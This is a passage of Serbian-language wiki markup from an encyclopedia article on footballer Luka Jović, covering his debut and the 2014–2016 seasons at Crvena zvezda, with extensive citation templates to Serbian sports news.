2019|website=[[Telegraf.rs|Telegraf]]}}</ref><ref>{{cite web|url=http://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:472738-Cudan-potez-na-Marakani-Gasic-moze-a-Jovic-ne|title=Čudan potez na “Marakani”: Gašić može, a Jović ne?!|website=[[Večernje novosti]]|last=Cvetojević|first=B.|date=11. 1. 2014|accessdate=1. 12. 2019}}</ref> Kasnije, tokom proleća, Jović je projektovan kao jedan od klupskih prospekata za narednu sezonu,<ref name="MrdjaiDauda">{{cite web|url=http://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:491774-Zvezda-prodaje-i-Daudu-i-Mrdju|title=Zvezda prodaje i Daudu i Mrđu|website=[[Večernje novosti]]|last=M|first=M.|date=16. 5. 2014|accessdate=1. 12. 2019}}</ref> te je priključen radu sa prvotimcima.<ref name="SStojanovic">{{Cite web|url=https://www.kurir.rs/sport/fudbal/3254139/kako-je-slavisa-stojanovic-gurnuo-luku-u-vatru-jovic-je-novi-darko-pancev-ima-urodjeni-i-ubilacki-golgeterski-instinkt-video|title=KAKO JE SLAVIŠA STOJANOVIĆ GURNUO LUKU U VATRU: Jović je novi Darko Pančev, ima urođeni i ubilački golgeterski instinkt! (VIDEO)|date=19. 5. 2019|accessdate=29. 11. 2019|last=Radonić|first=Aleksandar|website=[[Kurir (novine)|Kurir]]}}</ref> Svoj debitantski nastup u seniorskoj konkurenciji Jović je zabeležio [[28. maj]]a 2014. godine, na zatvaranju takmičarske [[Superliga Srbije u fudbalu 2013/14.|2013/14]]. u [[Superliga Srbije u fudbalu|Superligi Srbije]]. On je tada u igru ušao umesto [[Ifeani Onjilo|Ifeania Onjila]] u 73. minutu susreta sa ekipom [[FK Vojvodina|Vojvodine]] na [[Stadion Karađorđe|Stadionu Karađorđe]] u [[Novi Sad|Novom Sadu]].<ref>{{Cite news|url=https://www.fkvojvodina.rs/vojvodina-crvena-zvezda-3-3/?script=cir|title=Vojvodina - Crvena zvezda 3 : 3|date=28. 5. 2014|accessdate=1. 12. 2019|publisher=FK Vojvodina, zvanična prezentacija|archive-date=2022-07-11|archive-url=https://web.archive.org/web/20220711191755/https://www.fkvojvodina.rs/vojvodina-crvena-zvezda-3-3/?script=cir}}</ref><ref>{{Cite news|url=http://www.crvenazvezdafk.com/scc/vest/4229/vojvodina-crvena-zvezda-3-3-0-1|title=Vojvodina - Crvena zvezda 3:3 (0:1)|date=28. 5. 2014|accessdate=1. 12. 2019|publisher=FK Crvena zvezda, zvanična prezentacija}}</ref><ref name="Voša*Zvezda">{{Cite news|url=http://superliga.rs/index.php/izvestaji/577-30-kolo-vojvodina-crvena-zvezda|title=30.Kolo: Vojvodina - Crvena zvezda|date=28. 5. 2014|accessdate=1. 12. 2019|publisher=Superliga Srbije u fudbalu, zvanična prezentacija|url-status=dead|archiveurl=https://web.archive.org/web/20140604040940/http://superliga.rs/index.php/izvestaji/577-30-kolo-vojvodina-crvena-zvezda|archivedate=4. 6. 2019}}</ref> Postigavši pogodak dva minuta po svom ulasku u igru, za izjednačenje i konačnih 3 : 3, Jović je postao najmlađi strelac u istoriji Crvene zvezde, sa šesnaest godina, pet meseci i pet dana, te je tako oborio rekord koji je prethodno postavio [[Dejan Stanković]].<ref>{{Cite web|url=http://www.crvenazvezdafk.com/scc/vest/778/luka-jovic-najmlai-strelac-zvezde-u-istoriji|title=Luka Jović najmlađi strelac Zvezde u istoriji!|accessdate=1. 6. 2014|date=28. 5. 2014|publisher=FK Crvena zvezda, zvanična prezentacija}}</ref><ref name="Rekorder">{{Cite news|url=http://www.rts.rs/page/sport/ci/story/31/fudbal/1609445/luka-jovic-novi-zvezdin-rekorder.html|title=Luka Jović, novi Zvezdin rekorder|date=28. 5. 2014|accessdate=1. 12. 2019|publisher=[[Radio-televizija Srbije]]}}</ref><ref>{{Cite web|url=https://mondo.ba/Sport/Fudbal/a482689/Luka-Jovic-nece-otici-dok-ne-napuni-18.html|title="Luka Jović neće otići dok ne napuni 18"|date=30. 5. 2014|accessdate=1. 12. 2019|work=[[Informer]]|publisher=mondo.ba}}</ref> Osvojenim bodom na toj utakmici, Crvena zvezda je potvrdila prvo mesto na tabeli Superlige Srbije i osvojila šampionsku titulu.<ref name="serv2014">{{cite web|url=http://www.rsssf.com/tabless/serv2014.html|title=Serbia 2013/14|last=Stokkermans|first=Karel|publisher=rsssf.com|date=18. 4. 2019|accessdate=1. 12. 2019|language=en}}</ref> Isti uspeh Jović je narednog meseca ponovio i sa omladinskom ekipom, u kojoj se ostvario kao najbolji strelac sa 19 pogodaka.<ref name="NajefikasnijiU19">{{Cite news|url=http://www.crvenazvezdafk.com/scc/vest/762/uspesi-os-se-nizu-omladinci-sampioni|title=Uspesi OŠ se nižu - Omladinci šampioni!|date=19. 6. 2014|accessdate=1. 12. 2019|publisher=FK Crvena zvezda, zvanična prezentacija}}</ref> ==== Sezona 2014/15 : ulazak u prvi tim ==== Leta 2014. godine, nakon odlaska [[Abiola Dauda|Abiole Daude]] iz kluba, Jović je umesto broja 40, koji je nosio krajem prethodne sezone, u ekonomatu Crvene zvezde zadužio dres sa brojem 9.<ref name="Mora9">{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2014&mm=08&dd=17&nav_id=889153|last=K|first=A.|title=Terzić: Plan da Jović donese 8m €|date=17. 8. 2014|accessdate=1. 12. 2019|website=[[B92]]}}</ref> Crvena zvezda je istog leta, odlukom [[UEFA|Uefe]], izbačena iz kvalifikacija za Ligu šampiona, usled nepoštovanja finansijskog fer-pleja.<ref>{{Cite web|url=http://www.rts.rs/page/sport/ci/story/31/fudbal/1617423/uefa-izbacila-zvezdu-iz-lige-sampiona.html|title=Uefa izbacila Zvezdu iz Lige šampiona!|date=6. 6. 2014|accessdate=2. 12. 2019|website=[[Radio-televizija Srbije]]}}</ref> Jović se krajem juna te godine odazvao prvoj prozivci novog šefa stručnog štaba Crvene zvezde, [[Nenad Lalatović|Nenada Lalatovića]], a potom je, sa ekipom prošao prvu fazu priprema u [[Terme Čatež|Termama Čatež]].<ref>{{Cite web|url=https://www.srbijadanas.com/clanak/guzva-na-zvezdinoj-prozivci-33-fudbalera-27-06-2014|last=Pašić|first=M.|title=GUŽVA: Na Zvezdinoj prozivci 34 fudbalera!|date=27. 6. 2014|accessdate=2. 12. 2019|website=srbijadanas.com}}</ref><ref>{{Cite web|url=http://www.crvenazvezdafk.com/scc/vest/751/od-subote-u-termama-catez|title=Od subote u Termama Čatež|date=4. 7. 2014|accessdate=2. 12. 2019|website=FK Crvena zvezda, zvanična prezentacija}}</ref><ref>{{Cite web|url=https://arhiva.vesti-online.com/Sport/Fudbal/420606/Crvenobeli-ponovo-u-Sloveniji-|title=Crveno-beli ponovo u Sloveniji|date=22. 7. 2014|accessdate=2. 12. 2019|work=FK Crvena zvezda, zvanična prezentacija|publisher=[[Vesti (novine)|Vesti onlajn]]|archive-date=2023-10-09|archive-url=https://web.archive.org/web/20231009223138/https://arhiva.vesti-online.com/Sport/Fudbal/420606/Crvenobeli-ponovo-u-Sloveniji-|url-status=dead}}</ref> Lalatović je Joviću ukazao priliku od početka takmičarske [[Superliga Srbije u fudbalu 2014/15.|2014/15]]. u Superligi Srbije, koji je tako na otvaranju sezone, protiv [[niš]]kog [[FK Radnički Niš|Radničkog]], u igru ušao u 67. minutu igre, pri rezultatu od 2 : 0 za svoj tim.<ref name="Lalatovic">{{Cite web|url=https://fudbal.hotsport.rs/2019/06/11/lalatovic-nakon-transfera-jovica-verovao-sam-u-luku-kada-niko-nije/|title=LALATOVIĆ NAKON TRANSFERA JOVIĆA: Verovao sam u Luku kada niko nije!|date=11. 6. 2019|accessdate=29. 11. 2019|last=Ilić|first=Aleksandar|website=hotsport.rs|archive-date=2023-10-09|archive-url=https://web.archive.org/web/20231009223056/https://fudbal.hotsport.rs/2019/06/11/lalatovic-nakon-transfera-jovica-verovao-sam-u-luku-kada-niko-nije/}}</ref><ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a717286/Crvena-zvezda-Radnicki-2-0.html|last=Terzić|first=Jovan|title=Milijaš srušio Radnički i tradiciju!|date=9. 8. 2014|accessdate=2. 12. 2019|website=mondo.rs}}</ref><ref>{{Cite web|url=http://www.crvenazvezdafk.com/scc/vest/4220/crvena-zvezda-radnicki-nis-2-0-2-0|title=Crvena zvezda - Radnički Niš 2:0 (2:0)|date=9. 8. 2014|accessdate=2. 12. 2019|website=FK Crvena zvezda, zvanična prezentacija}}</ref> Nakon uvodnih pet kola u Superligi Srbije, na kojima je u igru ulazio kao rezervista, Jović je na naredna dva susreta ostao na klupi.<ref name="TM"/> U međuvremenu je zabeležio svoju prvu utakmicu koju je započeo na terenu, kada se našao u postavi svoje ekipe za susret [[Kup Srbije u fudbalu 2014/15.#Šesnaestina finala|šesnaestine finala]] [[Kup Srbije u fudbalu|Kupa Srbije]], protiv [[Čačak|čačanskog]] [[FK Borac Čačak|Borca]]. U igri je tada proveo 70 minuta, posle čega ga je zamenio [[Đorđe Rakić]].<ref>{{Cite web|url=https://fudbal.hotsport.rs/2014/09/24/uzivo-crvena-zvezda-borac/|title=KUP SRBIJE: Borac namučio Zvezdu (VIDEO)|date=24. 9. 2014|accessdate=2. 12. 2019|website=hotsport.rs|archive-date=2023-10-09|archive-url=https://web.archive.org/web/20231009223059/https://fudbal.hotsport.rs/2014/09/24/uzivo-crvena-zvezda-borac/}}</ref> Svoj prvi ligaški start, Jović je upisao [[18. oktobar|18. oktobra]] 2014. godine, na gostovanju [[FK Partizan|Partizanu]] na [[Stadion Partizana|Stadionu u Humskoj ulici]]. Tako je postao najmlađi fudbaler u istoriji [[večiti derbi|večitih derbija]] sa 16 godina, devet meseci i 25 dana,{{efn|Njegov rekord bio je na snazi do februara 2016, kada je fudbaler Partizana [[Dušan Vlahović]] postao najmlađi debitant u istoriji večitih derbija sa samo 16 godina i 30 dana.<ref>{{Cite web|url=https://www.telegraf.rs/sport/2020488-dva-rekorda-u-jednom-derbiju-vlahovic-je-svojim-srusio-luku-jovica-video|title=Dva rekorda u jednom derbiju: Vlahović je svojim srušio Luku Jovića (VIDEO)|date=27. 2. 2016|accessdate=29. 11. 2019|website=[[Telegraf.rs|Telegraf]]}}</ref>|name=ntd}} oborivši još jedan rekord Dejana Stankovića, koji je prvu utakmicu protiv večitog rivala odigrao sa 17 godina i šest meseci.<ref>{{Cite web|url=http://mondo.rs/a737418/Sport/Fudbal/Zvanicno-Luka-Jovic-najmladji-igrac-derbija-ikada.html|title=Zvanično: Luka Jović najmlađi igrač derbija ikada!|accessdate=18. 10. 2014|date=26. 6. 2018|publisher=mondo.rs}}</ref> Čitavu utakmicu na terenu prvi put je proveo u [[Kup Srbije u fudbalu 2014/15.#Osmina finala|osmini finala]] Kupa, kada je Crvena zvezda poražena od ekipe [[FK Rad|Rada]], minimalnim rezultatom, usled čega je eliminisana iz daljeg takmičenja.<ref>{{Cite web|url=https://www.sportske.net/vest/domaci-fudbal/kup-rad-crvena-zvezda-kraj-200262.html|last=Vidojević|first=Mihajlo|title=KUP: Rad - Crvena zvezda (KRAJ)|date=29. 10. 2014|accessdate=2. 12. 2019|website=sportske.net}}</ref> Iako su mediji tokom leta pisali o eventualnom odlasku Jovića u neki od klubova iz ''liga petice'', među kojima je [[FK Atletiko Madrid|Atletiko]] iz [[Madrid]]a naveden kao klub koji je bio spreman da izdvoji 2,5 milona evra za transfer, rukovodstvo Jovićevog matičnog kluba nije bilo zadovoljno visinom obeštećenja.<ref>{{Cite web|url=https://as.com/futbol/2014/08/17/primera/1408230646_188914.html|title=El Atlético ofrece 2,5 millones por Luka Jovic, del Estrella Roja|trans-title=Atletiko nudi 2,5 miliona za Luku Jovića iz Crvene zvezde|date=17. 8. 2014|accessdate=1. 12. 2019|publisher=as.com|language=es}}</ref> Takođe, postojala je i ponuda [[FK Fjorentina|Fjorentine]], da igrač zajedno sa vršnjakom [[Miloš Stojanović (fudbaler, 1997)|Milošem Stojanovićem]] pređe u redove tog kluba, koja nije razmatrana.<ref>{{Cite web|url=https://fudbal.hotsport.rs/2014/10/10/terzic-nudi-igrace-zahaviju-na-listi-su-rajkovic-jovic-grujic-jovanovic/|title=TERZIĆ NUDI IGRAČE ZAHAVIJU: Na listi su Rajković, Jović, Grujić, Jovanović…|date=10. 10. 2014|accessdate=2. 12. 2019|work=[[Sport (dnevni list)|Sport]]|publisher=hotsport.rs|archive-date=2023-10-09|archive-url=https://web.archive.org/web/20231009223054/https://fudbal.hotsport.rs/2014/10/10/terzic-nudi-igrace-zahaviju-na-listi-su-rajkovic-jovic-grujic-jovanovic/}}</ref> Međutim, kako je klub bio u obavezi da servisira zaostala dugovanja, mediji su krajem 2014. godine preneli nezvaničnu informaciju da je 20 procenata ugovora Luke Jovića preneto u vlasništvo investicionog fonda [[Pini Zahavi|Pinija Zahavija]]. Na taj način su, sredstvima u vrednosti od 400 hiljada evra, namirena potraživanja [[Gžegož Bronovicki|Gžegoža Bronovickog]], koji je za Crvenu zvezdu nastupao u periodu od 2007. do 2009. godine.<ref>{{Cite web|url=https://www.novosti.rs/vesti/sport.434.html:520601-Sport-Zahavi-uplatio-Zvezdi-kaparu-za-Jovica-oni-prosledili-pare-na-racun-Bronovickog|last=Marković|first=M.|title="Sport": Zahavi uplatio Zvezdi kaparu za Jovića, oni prosledili pare na račun Bronovickog|date=21. 11. 2014|accessdate=30. 11. 2019|website=[[Večernje novosti]]}}</ref> Tokom prolećnog dela šampionata, Jović se ustalio u postavi Crvene zvezde, a svoj prvi gol u sezoni postigao je [[7. mart]]a 2015. godine, protiv Vojvodine. Crvena zvezda je na [[Stadion Rajko Mitić|svom stadionu]] pobedila rezultatom 3 : 0, a Jović je postigao treći gol za svoj tim.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/gol-iz-ofsajda-samozivog-parkera-naceo-furizona-zvezda-dotukla-staru-damu-video/99187|title=Gol iz ofsajda samoživog Parkera načeo, furizona Zvezda dotukla Staru damu! (VIDEO)|date=7. 3. 2015|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref><ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-jovic-ne-mozete-da-zamislite-koliko-mi-ovaj-gol-znaci/99199|title=Luka Jović: Ne možete da zamislite koliko mi ovaj gol znači|date=8. 3. 2015|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> U sledećem kolu, Zvezda je gostovala [[FK Spartak Subotica|Spartaku]] na [[Gradski stadion u Subotici|Gradskom stadionu]] u [[Subotica|Subotici]], a susret je završen pobedom crveno-belih od 3 : 1. Jović je tada najpre iznudio jedanaesterac za svoj tim, nakon prekršaja golmana domaće ekipe, [[Nikola Mirković (fudbaler)|Nikole Mirkovića]], koji je realizovao [[Mihailo Ristić (fudbaler)|Mihailo Ristić]], a zatim i postigao poslednji gol za svoj tim, na asistenciju [[Džošua Parker|Džošue Parkera]].<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/zvezdina-dobra-zetva-u-backom-ataru-jovic-i-ristic-preleteli-golubove-video/99833|title=Zvezdina dobra žetva u bačkom ataru: Jović i Ristić preleteli Golubove! (VIDEO)|date=14. 3. 2015|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> Dan kasnije, Jović je nastupio za omladinski sastav Crvene zvezde, na Večitom derbiju protiv odgovarajuće selekcije Partizana.<ref>{{Cite web|url=http://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:538582-Omladinska-liga-Srbije-Zvezda-i-Partizan-remizirali|title=Omladinska liga Srbije: Zvezda i Partizan remizirali|date=15. 3. 2015|accessdate=1. 2. 2019|website=[[Večernje novosti]]}}</ref> Krajem istog meseca, Jović je produžio ugovor sa klubom za još tri godine,{{efn|U trenutku potpisivanja ugovora sa klubom, Jović je bio maloletan.<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a780891/Luka-Jovic-potpisao-novi-ugovor-sa-FK-Crvena-zvezda.html|title=Zvezda završila veliki posao!|date=25. 3. 2015|accessdate=29. 11. 2019|work=[[Sport (dnevni list)|Sport]]|publisher=mondo.rs}}</ref> Sa igračima ispod 18 godina starosti dozvoljeno je potpisati ugovor u trajanju do tri godine, na koliko je i sklopljena saradnja.<ref name="FIFApravilnik">{{cite web|url=https://fss.rs/wp-content/uploads/2019/07/pravilnik_o_statusu_igraca19.pdf|title=FIFA Pravilnik o statusu i transferu igrača|website=[[Fudbalski savez Srbije]]|accessdate=2. 12. 2019|p=14—18}}</ref>|name=ppu}} po kom mu je mesečna zarada iznosila 9 hiljada evra.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/kako-su-rasle-plate-u-zvezdi-lazovicu-se-dugovalo-500-000-evra-marko-marin-prvi-milioner/355490|title=Kako su rasle plate u Zvezdi? Lazoviću se dugovalo 500.000 evra, Marko Marin prvi milioner|last=Nedeljković|first=Darjan|date=13. 4. 2020|accessdate=13. 4. 2020|website=mozzartsport.com}}</ref> Na susretu 22. kola Superlige Srbije, odigranom [[9. april]]a 2015. godine, protiv čačanskog Borca, Jović je bio strelac dva pogotka u pobedi svog tima, rezultatom 3 : 1.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/carolija-luke-jovica-skratila-uspavanku-na-rajku-miticu-zvezda-ponovo-na-minus-dva-video/102414|title=Čarolija Luke Jovića skratila uspavanku na Rajku Mitiću: Zvezda ponovo na minus dva (VIDEO)|date=9. 4. 2015|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> Odmah zatim, u narednom kolu, bio je strelac jedinog pogotka na [[Stadion FK Obilić|Stadionu Obilića]] na [[Gradska opština Vračar|Vračaru]], kada je Crvena zvezda ostvarila minimalnu pobedu nad sastavom [[FK Voždovac|Voždovca]].<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/zvezda-polozila-ispit-pred-derbi-luka-jovic-od-bunkera-zmajeva-napravio-zgariste-video/103217|title=Zvezda položila ispit pred derbi: Luka Jović od bunkera Zmajeva napravio zgarište! (VIDEO)|date=18. 4. 2015|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> Jović je do kraja sezone upisao još jednu asistenciju, kod gola [[Petar Orlandić|Petra Orlandića]] u pobedi od 3 : 1 nad [[FK Donji Srem 2015|Donjim Sremom]],<ref>{{Cite web|url=http://www.crvenazvezdafk.com/scc/vest/4188/donji-srem-crvena-zvezda-1-3-0-0|title=Donji Srem - Crvena zvezda 1:3 (0:0)|date=29. 4. 2015|accessdate=2. 12. 2019|website=FK Crvena zvezda, zvanična prezentacija}}</ref> te još pogodak, u pobedi od 2 : 0 nad Radom, u 26. kolu.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/katai-zidao-trijumf-rada-se-tandem-jovic-orlandic-video/104605|title=Katai zidao trijumf, rađa se tandem Jović - Orlandić (VIDEO)|date=3. 5. 2015|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> Na narednoj utakmici, kada je Crvena zvezda poražena od [[FK Čukarički|Čukaričkog]] na [[Stadion Čukaričkog|Stadionu na Banovom brdu]], Jović je pretrpeo povredu levog kolena, pa do kraja sezone više nije nastupao.<ref name="Preforsiran">{{Cite web|url=https://www.danas.rs/drustvo/lalatovic-preforsirao-klince/|title=Lalatović preforsirao “klince”|date=12. 5. 2015|accessdate=2. 12. 2019|last=Marković|first=N.|website=[[Danas (novine)|Danas]]}}</ref> Time je na ukupno 22 utakmice u Superligi Srbije, uz još dve u kup takmičenju, postigao šest pogodaka i upisao dve asistencije, sve tokom prolećnog dela sezone.<ref name="TM"/> ==== Sezona 2015/16 : ograničena minutaža ==== Kako nije putovao na Svetsko prvenstvo sa reprezentacijom Srbije do 20 godina starosti,{{efn|name=rsb}} Jović se leta 2015. odazvao prvoj prozivci novog šefa stručnog štaba Crvene zvezde, [[Miodrag Božović|Miodraga Božovića]].<ref>{{Cite web|url=https://www.telegraf.rs/sport/1608982-zvezda-pocela-pripreme-ostaje-li-onjilo|title=Zvezda počela pripreme! Božović: Ne smemo da pogrešimo sa pojačanjima (FOTO)|date=12. 6. 2015|accessdate=7. 12. 2019|last=M|first=M.|website=[[Telegraf.rs|Telegraf]]}}</ref> Sa klubom je, nedugo zatim, otišao na pripreme u Terme Čatež, kao jedan od dva centralna napadača u sastavu, uz Petra Orlandića.<ref>{{Cite web|url=http://www.crvenazvezdafk.com/scc/vest/258/od-utorka-u-termama-catez|title=Od utorka u Termama Čatež|date=15. 6. 2015|accessdate=7. 12. 2019|website=FK Crvena zvezda, zvanična prezentacija}}</ref> Na startu [[UEFA liga Evrope 2015/16.#Prvo kolo kvalifikacija|kvalifikacija za Ligu Evrope]], Jović je na prvoj utakmici protiv [[kazahstan]]skog predstavnika, [[FK Kairat|Kairata]], na teren stupio umesto [[Miloš Ž. Cvetković|Miloša Cvetkovića]], nakon jednog časa igre.<ref name="Kairat1">{{Cite web|url=https://www.danas.rs/drustvo/kairat-ponizio-zvezdu/|title=Kairat ponizio Zvezdu|date=2. 7. 2015|accessdate=7. 12. 2019|last=B|first=R. V.|website=[[Danas (novine)|Danas]]}}</ref> U revanšu je odigrao čitav susret.<ref name="Kairat2">{{Cite web|url=http://www.zurnal.rs/fudbal/zvezda/21337/jos-jedna-zvezdina-bruka-kairat-i-drugi-put-slavio-protiv-crveno-belih|title=Još jedna Zvezdina bruka, Kairat i drugi put slavio protiv crveno-belih|date=9. 7. 2015|accessdate=7. 12. 2019|website=[[Sportski žurnal]]}}</ref> Crvena zvezda je obe utakmice izgubila, usled čega je eliminisana iz daljeg takmičenja.<ref name="Kairat3">{{Cite web|url=https://www.kurir.rs/sport/fudbal/1854389/blamaza-zvezde-luka-jovic-treba-da-nas-je-sramota|title=BLAMAŽA ZVEZDE Luka Jović: Treba da nas je sramota!|date=11. 7. 2015|accessdate=29. 11. 2019|last=Radonić|first=Aleksandar|website=[[Kurir (novine)|Kurir]]}}</ref> Na otvaranju [[Superliga Srbije u fudbalu 2015/16.|takmičarske sezone]] u Superligi Srbije, Crvena zvezda je gostovala [[OFK Beograd]]u na [[Stadion FK Obilić|stadionu Obilića]] na [[Gradska opština Vračar|Vračaru]]. Jović je tada odigrao čitav susret i postigao drugi gol za svoj tim, koji je ostvario pobedu rezultatom 6 : 2, iako je na poluvremenu gubio sa 2 : 0.<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2015&mm=07&dd=19&nav_id=1017460|title=Zvezda od 0:2 na poluvremenu do 6:2|date=19. 7. 2019|accessdate=29. 11. 2019|last=K|first=A.|website=[[B92]]}}</ref> U trećem kolu domaćeg šampionata, Crvena zvezda je na svom terenu dočekala niški Radnički, a Jović je golom u 88. minutu doneo svom klubu izjednačenje, za konačnih 1 : 1.<ref name="Radnički11">{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/zvezdo-da-li-si-to-ti/111895|title=Zvezdo, da li si to ti?|date=31. 7. 2015|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> Odmah zatim, naredne sedmice, Zvezda je gostovala Voždovcu a Jović je postigao odlučujući gol za pobedu svog tima, rezultatom 3 : 2.<ref name="Voždovac32">{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/a-mozda-u-zvezdinoj-deci-lezi-spas-luka-jovic-izvadio-crveno-bele-iz-zivog-blata-video/112634|title=A možda u Zvezdinoj deci leži spas: Luka Jović izvadio crveno-bele iz živog blata! (VIDEO)|date=9. 8. 2015|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> Sledeći gol je postigao nakon skoro dva meseca. Crvena zvezda je 3. oktobra gostovala Spartaku u Subotici, a Jović je ponovo postigao odlučujući gol za pobedu crveno-belih od 3 : 2.<ref name="Spartak32">{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/lider-nastavio-pobednicki-mars-i-kroz-ravnicu-zvezdin-talisman-je-luka-jovic-video/117153|title=Lider nastavio pobednički marš i kroz ravnicu: Zvezdin talisman je – Luka Jović! (VIDEO)|date=3. 10. 2015|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> Do kraja istog meseca, Jović je upisao dve asistencije, u pobedama nad novosadskom Vojvodinom i OFK Beogradom.<ref>{{Cite web|url=http://www.crvenazvezdafk.com/scc/vest/4167/crvena-zvezda-vojvodina-3-0-1-0|title=Crvena zvezda - Vojvodina 3:0 (1:0)|date=21. 10. 2015|accessdate=7. 12. 2019|website=FK Crvena zvezda, zvanična prezentacija}}</ref><ref>{{Cite web|url=http://informer.rs/sport/c-zvezda/237474/lider-nastavio-melje-zvezda-protiv-ofk-beograda-upisala-13-uzastopnu-pobedu-4-1|title=LIDER NASTAVIO DA MELJE Zvezda protiv OFK Beograda upisala 13. uzastopnu pobedu - 4:1|date=31. 10. 2015|accessdate=7. 12. 2019|website=[[Informer]]}}</ref> Početkom decembra 2015, Jović je bio strelac jedinog pogotka za svoj tim u porazu od 5 : 1 na domaćem terenu od sastava čačanskog Borca, u okviru [[Kup Srbije u fudbalu 2015/16.#Osmina finala|osmine finala]] Kupa Srbije.<ref>{{Cite web|url=http://www.crvenazvezdafk.com/scc/vest/4153/crvena-zvezda-borac-1-5-0-3|title=Crvena zvezda - Borac 1:5 (0:3)|date=2. 12. 2015|accessdate=29. 11. 2019|website=FK Crvena zvezda, zvanična prezentacija}}</ref> Nekoliko dana kasnije, Jović je postigao poslednji gol u Superligi Srbije u dresu Crvene zvezde, kada je njegova ekipa pobedila Čukarički na Stadionu na [[Banovo brdo|Banovom brdu]], rezultatom 7 : 2.<ref>{{Cite web|url=http://www.crvenazvezdafk.com/scc/vest/4152/cukaricki-crvena-zvezda-2-7-2-3|title=Čukarički - Crvena zvezda 2:7 (2:3)|date=6. 12. 2015|accessdate=29. 11. 2019|website=FK Crvena zvezda, zvanična prezentacija}}</ref> [[Datoteka:Loco-Terec (5).jpg|mini|230p|desno|U drugoj polovini 2015. godine, trener [[Miodrag Božović]] je Jovića najčešće koristio kao rezervistu]] Jović je kod trenera Božovića tokom prvog dela sezone 2015/16. odigrao 19 prvenstvenih utakmica na kojima je bio strelac pet golova.<ref name="PetGolova">{{Cite web|url=https://www.okradio.rs/m/vesti/sport/nacionalni/zvezda-medu-5-najefikasnijih-timova-u-evropi_52760.html|title=Zvezda među 5 najefikasnijih timova u Evropi|date=15. 12. 2015|accessdate=7. 12. 2019|work=[[Večernje novosti]]|publisher=okradio.rs}}</ref> Ipak, od tih 19 mečeva, samo je na četiri utakmice bio starter, dok je na preostalim susretima u igru ulazio sa klupe.<ref name="Rotacije">{{Cite web|url=https://mondo.rs/Sport/Fudbal/a823910/FK-Crvena-zvezda-u-sezoni-2015/16-probala-26-igraca-u-9-utakmica.html|title=Božovićevih 26!|date=25. 8. 2015|accessdate=7. 12. 2019|last=Vujičić|first=Milutin|website=mondo.rs}}</ref> Uz to, nastupio je i na dve utakmice Kupa Srbije, postigavši jedan pogodak. U rotaciji kod Božovića bio je treći napadač, a šansu pre njega dobijali su [[Ugo Filipe Oliveira|Ugo Vijeira]] i [[Predrag Sikimić]].<ref name="SK:Luka_Jović">{{Cite web|url=http://sportklub.rs/Blog/Dragan-Cica/a259059-SK-Luka-Jovic-od-cupavog-klinca-do-elitnog-napadaca.html|last=Čiča|first=Dragan|title=INTERVJU - Luka Jović: Pričali su da sam debeljko, a sada imam šest kilograma više nego u Zvezdi! Postoji san o Otkritije Areni|date=26. 11. 2018|accessdate=2. 12. 2019|website=[[Sport klub]]}}</ref> Lukin otac, Milan Jović, javno je ispoljavao nezadovoljstvo statusom koji njegov sin ima kod tadašnjeg trenera.<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a835361/Luka-Jovic-Zvezdina-zlatna-koka.html|title="Gde je sada ta Zvezdina zlatna koka"?|date=1. 10. 2015|accessdate=29. 11. 2019|website=mondo.rs}}</ref> Tvrdio je da zalaganje njegovog sina nikada nije bilo upitno, te da kao jedan od najtalentovanih pojedinaca zaslužio drugačiji odnos i više poštovanja sportskog sektora.<ref>{{Cite web|url=https://sport.blic.rs/fudbal/domaci-fudbal/jovicev-otac-moj-luka-place-jer-ne-igra-ali-ne-zeli-iz-zvezde/8bkhtxd|title=Jovićev otac: Moj Luka plače jer ne igra, ali ne želi iz Zvezde|date=1. 10. 2015|accessdate=29. 11. 2019|last=Milošević|first=M.|website=[[Blic (novine)|Blic]]}}</ref> Sa druge strane, Božović je smatrao da su ostali napadači kvalitetniji za njegov sistem, dok je Joviću zamerao višak kilograma i neprilagođenu ishranu.<ref>{{Cite web|url=https://www.srbijadanas.com/sport/fudbal/grof-progovorio-o-luki-jovicu-istina-je-zvao-sam-ga-jovara-pekara-nadam-se-da-sam-mu-pomogao-2019-06-15|title=GROF PROGOVORIO O LUKI JOVIĆU: Istina je, zvao sam ga JOVARA PEKARA, nadam se da sam mu POMOGAO|date=15. 6. 2019|accessdate=2. 12. 2019|website=srbijadanas.com}}</ref> Golman [[Jovan Vićić]], Jovićev vršnjak i tadašnji saigrač, kasnije je govorio o situaciji kada je Božović prozvao Jovića zbog susreta u pekari nedaleko od stadiona, oslovivši ga ''Jovara-pekara''.<ref>{{Cite web|url=https://www.telegraf.rs/sport/fudbal/3127911-kako-je-grof-obelezio-jovica-nadimkom-jovara-pekara-luka-otkrio-i-kada-je-saznao-da-ide-u-real|title=Kako je Grof "obeležio" Jovića nadimkom "Jovara Pekara": Luka otkrio i kada je saznao da ide u Real|date=1. 12. 2019|accessdate=6. 12. 